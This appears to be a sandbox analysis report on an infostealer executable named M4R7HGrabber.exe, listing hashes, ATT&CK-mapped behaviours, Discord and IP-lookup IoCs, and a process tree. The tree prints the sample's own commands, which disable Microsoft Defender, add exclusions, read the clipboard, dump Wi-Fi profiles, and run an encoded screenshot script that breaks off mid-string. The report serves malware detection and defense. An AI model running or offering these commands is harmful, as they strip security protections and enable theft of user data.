bd71a736911a9364ae632069be2b8a464874fd9291c2f9d4545916dbd861541d

Analysis

user interaction
yes
max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
31/10/2026, 23:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
M4R7HGrabber.exe
Size 9.4MB
Sample261031-3l5jsaez2x
SHA256 bd71a736911a9364ae632069be2b8a464874fd9291c2f9d4545916dbd861541d
MD5 78124dcc0689c1a55ae37e594ec05be5
SHA1 94fb8b9e49177273a71985b81a0e383010086b94
SHA512 ce61a7aca9a5011c19af5bcb898bcd3270bc22c61cac2b2ebe4fefeeb2ed8e9f7ce0a50cb84555ff470b8cc782e79ba304b8e66673361f371421192e00346040
SSDEEP 196608:JCRfHA1HeT39IigwqtauDXURuAkfdHXmbJEp4wsAeS:JCRfg1+TtIiFq8uARuAkFXmbJEp41AeS
TLSH
T1D0A633A4D3F201F9F9F6913EC2A6824DE17179A64769D3CF539006123F27BE2453AB12
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3476	powershell.exe
812	powershell.exe
3792	powershell.exe
3644	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
3792	powershell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
204	cmd.exe
436	powershell.exe

Loads dropped DLL 17 IoCs

pid	Process
3372	M4R7HGrabber.exe
3372	M4R7HGrabber.exe
3372	M4R7HGrabber.exe
3372	M4R7HGrabber.exe
3372	M4R7HGrabber.exe
3372	M4R7HGrabber.exe
3372	M4R7HGrabber.exe
3372	M4R7HGrabber.exe
3372	M4R7HGrabber.exe
3372	M4R7HGrabber.exe
3372	M4R7HGrabber.exe
3372	M4R7HGrabber.exe
3372	M4R7HGrabber.exe
3372	M4R7HGrabber.exe
3372	M4R7HGrabber.exe
3372	M4R7HGrabber.exe
3372	M4R7HGrabber.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
14	discord.com
15	discord.com

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
12	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 3 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
1272	tasklist.exe
224	tasklist.exe
3836	tasklist.exe

Enumerates video capture drivers 2 TTPs 1 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

discovery defense_evasion

Peripheral Device Discovery

T1120

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	M4R7HGrabber.exe

Queries system WMI classes for hardware identifiers 2 TTPs 1 IoCs

Uses WMI to read hardware serial numbers or the system UUID, commonly used to fingerprint the victim machine.

discovery

System Information Discovery

T1082

Windows Management Instrumentation

T1047

pid	Process
3052	WMIC.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 23 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3892	cmd.exe
452	cmd.exe
4156	cmd.exe
552	cmd.exe
3044	cmd.exe
1500	cmd.exe
3100	cmd.exe
4980	cmd.exe
4728	cmd.exe
5008	cmd.exe
3176	cmd.exe
4460	cmd.exe
3388	cmd.exe
3956	cmd.exe
4320	cmd.exe
4256	cmd.exe
1720	cmd.exe
1660	cmd.exe
1592	cmd.exe
2916	cmd.exe
2920	cmd.exe
2748	cmd.exe
1696	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 12 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	M4R7HGrabber.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	M4R7HGrabber.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
3956	cmd.exe
4592	netsh.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1112	chrome.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
364	WMIC.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1320	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
3644	powershell.exe
3792	powershell.exe
436	powershell.exe
436	powershell.exe
3644	powershell.exe
3644	powershell.exe
3792	powershell.exe
3792	powershell.exe
2712	powershell.exe
2712	powershell.exe
436	powershell.exe
2712	powershell.exe
3476	powershell.exe
3476	powershell.exe
1536	powershell.exe
1536	powershell.exe
812	powershell.exe
812	powershell.exe
216	powershell.exe
216	powershell.exe
1188	chrome.exe
1188	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs

pid	Process
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1272	tasklist.exe
Token: SeDebugPrivilege	3644	powershell.exe
Token: SeDebugPrivilege	3792	powershell.exe
Token: SeDebugPrivilege	224	tasklist.exe
Token: SeIncreaseQuotaPrivilege	3944	WMIC.exe
Token: SeSecurityPrivilege	3944	WMIC.exe
Token: SeTakeOwnershipPrivilege	3944	WMIC.exe
Token: SeLoadDriverPrivilege	3944	WMIC.exe
Token: SeSystemProfilePrivilege	3944	WMIC.exe
Token: SeSystemtimePrivilege	3944	WMIC.exe
Token: SeProfSingleProcessPrivilege	3944	WMIC.exe
Token: SeIncBasePriorityPrivilege	3944	WMIC.exe
Token: SeCreatePagefilePrivilege	3944	WMIC.exe
Token: SeBackupPrivilege	3944	WMIC.exe
Token: SeRestorePrivilege	3944	WMIC.exe
Token: SeShutdownPrivilege	3944	WMIC.exe
Token: SeDebugPrivilege	3944	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3944	WMIC.exe
Token: SeRemoteShutdownPrivilege	3944	WMIC.exe
Token: SeUndockPrivilege	3944	WMIC.exe
Token: SeManageVolumePrivilege	3944	WMIC.exe
Token: 33	3944	WMIC.exe
Token: 34	3944	WMIC.exe
Token: 35	3944	WMIC.exe
Token: 36	3944	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3944	WMIC.exe
Token: SeSecurityPrivilege	3944	WMIC.exe
Token: SeTakeOwnershipPrivilege	3944	WMIC.exe
Token: SeLoadDriverPrivilege	3944	WMIC.exe
Token: SeSystemProfilePrivilege	3944	WMIC.exe
Token: SeSystemtimePrivilege	3944	WMIC.exe
Token: SeProfSingleProcessPrivilege	3944	WMIC.exe
Token: SeIncBasePriorityPrivilege	3944	WMIC.exe
Token: SeCreatePagefilePrivilege	3944	WMIC.exe
Token: SeBackupPrivilege	3944	WMIC.exe
Token: SeRestorePrivilege	3944	WMIC.exe
Token: SeShutdownPrivilege	3944	WMIC.exe
Token: SeDebugPrivilege	3944	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3944	WMIC.exe
Token: SeRemoteShutdownPrivilege	3944	WMIC.exe
Token: SeUndockPrivilege	3944	WMIC.exe
Token: SeManageVolumePrivilege	3944	WMIC.exe
Token: 33	3944	WMIC.exe
Token: 34	3944	WMIC.exe
Token: 35	3944	WMIC.exe
Token: 36	3944	WMIC.exe
Token: SeDebugPrivilege	436	powershell.exe
Token: SeDebugPrivilege	3836	tasklist.exe
Token: SeDebugPrivilege	2712	powershell.exe
Token: SeDebugPrivilege	3476	powershell.exe
Token: SeDebugPrivilege	1536	powershell.exe
Token: SeIncreaseQuotaPrivilege	4260	WMIC.exe
Token: SeSecurityPrivilege	4260	WMIC.exe
Token: SeTakeOwnershipPrivilege	4260	WMIC.exe
Token: SeLoadDriverPrivilege	4260	WMIC.exe
Token: SeSystemProfilePrivilege	4260	WMIC.exe
Token: SeSystemtimePrivilege	4260	WMIC.exe
Token: SeProfSingleProcessPrivilege	4260	WMIC.exe
Token: SeIncBasePriorityPrivilege	4260	WMIC.exe
Token: SeCreatePagefilePrivilege	4260	WMIC.exe
Token: SeBackupPrivilege	4260	WMIC.exe
Token: SeRestorePrivilege	4260	WMIC.exe
Token: SeShutdownPrivilege	4260	WMIC.exe
Token: SeDebugPrivilege	4260	WMIC.exe

Suspicious use of FindShellTrayWindow 41 IoCs

pid	Process
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe
1188	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3208 wrote to memory of 3372	3208	M4R7HGrabber.exe	84
PID 3372 wrote to memory of 4980	3372	M4R7HGrabber.exe	85
PID 3372 wrote to memory of 3100	3372	M4R7HGrabber.exe	86
PID 3372 wrote to memory of 3892	3372	M4R7HGrabber.exe	89
PID 3372 wrote to memory of 3388	3372	M4R7HGrabber.exe	90
PID 3388 wrote to memory of 1272	3388	cmd.exe	93
PID 3100 wrote to memory of 3792	3100	cmd.exe	94
PID 4980 wrote to memory of 3644	4980	cmd.exe	95
PID 3372 wrote to memory of 1592	3372	M4R7HGrabber.exe	97
PID 3892 wrote to memory of 224	3892	cmd.exe	99
PID 3372 wrote to memory of 204	3372	M4R7HGrabber.exe	100
PID 3372 wrote to memory of 4728	3372	M4R7HGrabber.exe	102
PID 1592 wrote to memory of 3944	1592	cmd.exe	104
PID 3372 wrote to memory of 4320	3372	M4R7HGrabber.exe	105
PID 3372 wrote to memory of 3956	3372	M4R7HGrabber.exe	106
PID 3372 wrote to memory of 2916	3372	M4R7HGrabber.exe	109
PID 3372 wrote to memory of 3660	3372	M4R7HGrabber.exe	111
PID 204 wrote to memory of 436	204	cmd.exe	113
PID 4728 wrote to memory of 3836	4728	cmd.exe	114
PID 3956 wrote to memory of 4592	3956	cmd.exe	115
PID 4320 wrote to memory of 3384	4320	cmd.exe	116
PID 2916 wrote to memory of 1320	2916	cmd.exe	117
PID 3660 wrote to memory of 2712	3660	cmd.exe	118
PID 3372 wrote to memory of 452	3372	M4R7HGrabber.exe	119
PID 452 wrote to memory of 2452	452	cmd.exe	121
PID 3372 wrote to memory of 2920	3372	M4R7HGrabber.exe	122
PID 2920 wrote to memory of 3488	2920	cmd.exe	124
PID 2712 wrote to memory of 1600	2712	powershell.exe	125
PID 3372 wrote to memory of 2748	3372	M4R7HGrabber.exe	126
PID 2748 wrote to memory of 2664	2748	cmd.exe	128
PID 3372 wrote to memory of 1696	3372	M4R7HGrabber.exe	129
PID 1696 wrote to memory of 2880	1696	cmd.exe	131
PID 3372 wrote to memory of 5008	3372	M4R7HGrabber.exe	132
PID 1600 wrote to memory of 1256	1600	csc.exe	134
PID 5008 wrote to memory of 3992	5008	cmd.exe	135
PID 3372 wrote to memory of 3176	3372	M4R7HGrabber.exe	136
PID 3176 wrote to memory of 3476	3176	cmd.exe	139
PID 3372 wrote to memory of 4256	3372	M4R7HGrabber.exe	140
PID 4256 wrote to memory of 1536	4256	cmd.exe	142
PID 3372 wrote to memory of 1720	3372	M4R7HGrabber.exe	143
PID 1720 wrote to memory of 2680	1720	cmd.exe	147
PID 3372 wrote to memory of 4156	3372	M4R7HGrabber.exe	149
PID 4156 wrote to memory of 4260	4156	cmd.exe	151
PID 3372 wrote to memory of 1660	3372	M4R7HGrabber.exe	152
PID 1660 wrote to memory of 448	1660	cmd.exe	154
PID 3372 wrote to memory of 4460	3372	M4R7HGrabber.exe	155
PID 4460 wrote to memory of 3052	4460	cmd.exe	157
PID 3372 wrote to memory of 552	3372	M4R7HGrabber.exe	158
PID 552 wrote to memory of 812	552	cmd.exe	160
PID 3372 wrote to memory of 3044	3372	M4R7HGrabber.exe	161
PID 3044 wrote to memory of 364	3044	cmd.exe	163
PID 3372 wrote to memory of 1500	3372	M4R7HGrabber.exe	164
PID 1500 wrote to memory of 216	1500	cmd.exe	166
PID 1188 wrote to memory of 1244	1188	chrome.exe	177
PID 1188 wrote to memory of 1112	1188	chrome.exe	178
PID 1188 wrote to memory of 2228	1188	chrome.exe	179
PID 1188 wrote to memory of 2228	1188	chrome.exe	179
PID 1188 wrote to memory of 2856	1188	chrome.exe	181
PID 1188 wrote to memory of 2856	1188	chrome.exe	181
PID 1188 wrote to memory of 4280	1188	chrome.exe	182
PID 1188 wrote to memory of 4280	1188	chrome.exe	182
PID 1188 wrote to memory of 5076	1188	chrome.exe	183
PID 1188 wrote to memory of 5076	1188	chrome.exe	183
PID 1188 wrote to memory of 3344	1188	chrome.exe	184

C:\Users\Admin\AppData\Local\Temp\M4R7HGrabber.exe
"C:\Users\Admin\AppData\Local\Temp\M4R7HGrabber.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3208
- C:\Users\Admin\AppData\Local\Temp\M4R7HGrabber.exe
  "C:\Users\Admin\AppData\Local\Temp\M4R7HGrabber.exe"
  2⤵
  - Loads dropped DLL
  - Enumerates video capture drivers
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of WriteProcessMemory
  PID:3372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\M4R7HGrabber.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4980
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\M4R7HGrabber.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3644
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3100
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3792
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3892
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3388
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1592
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Suspicious use of AdjustPrivilegeToken
      PID:3944
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:204
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:436
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4728
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4320
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:3956
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:4592
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2916
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:1320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAA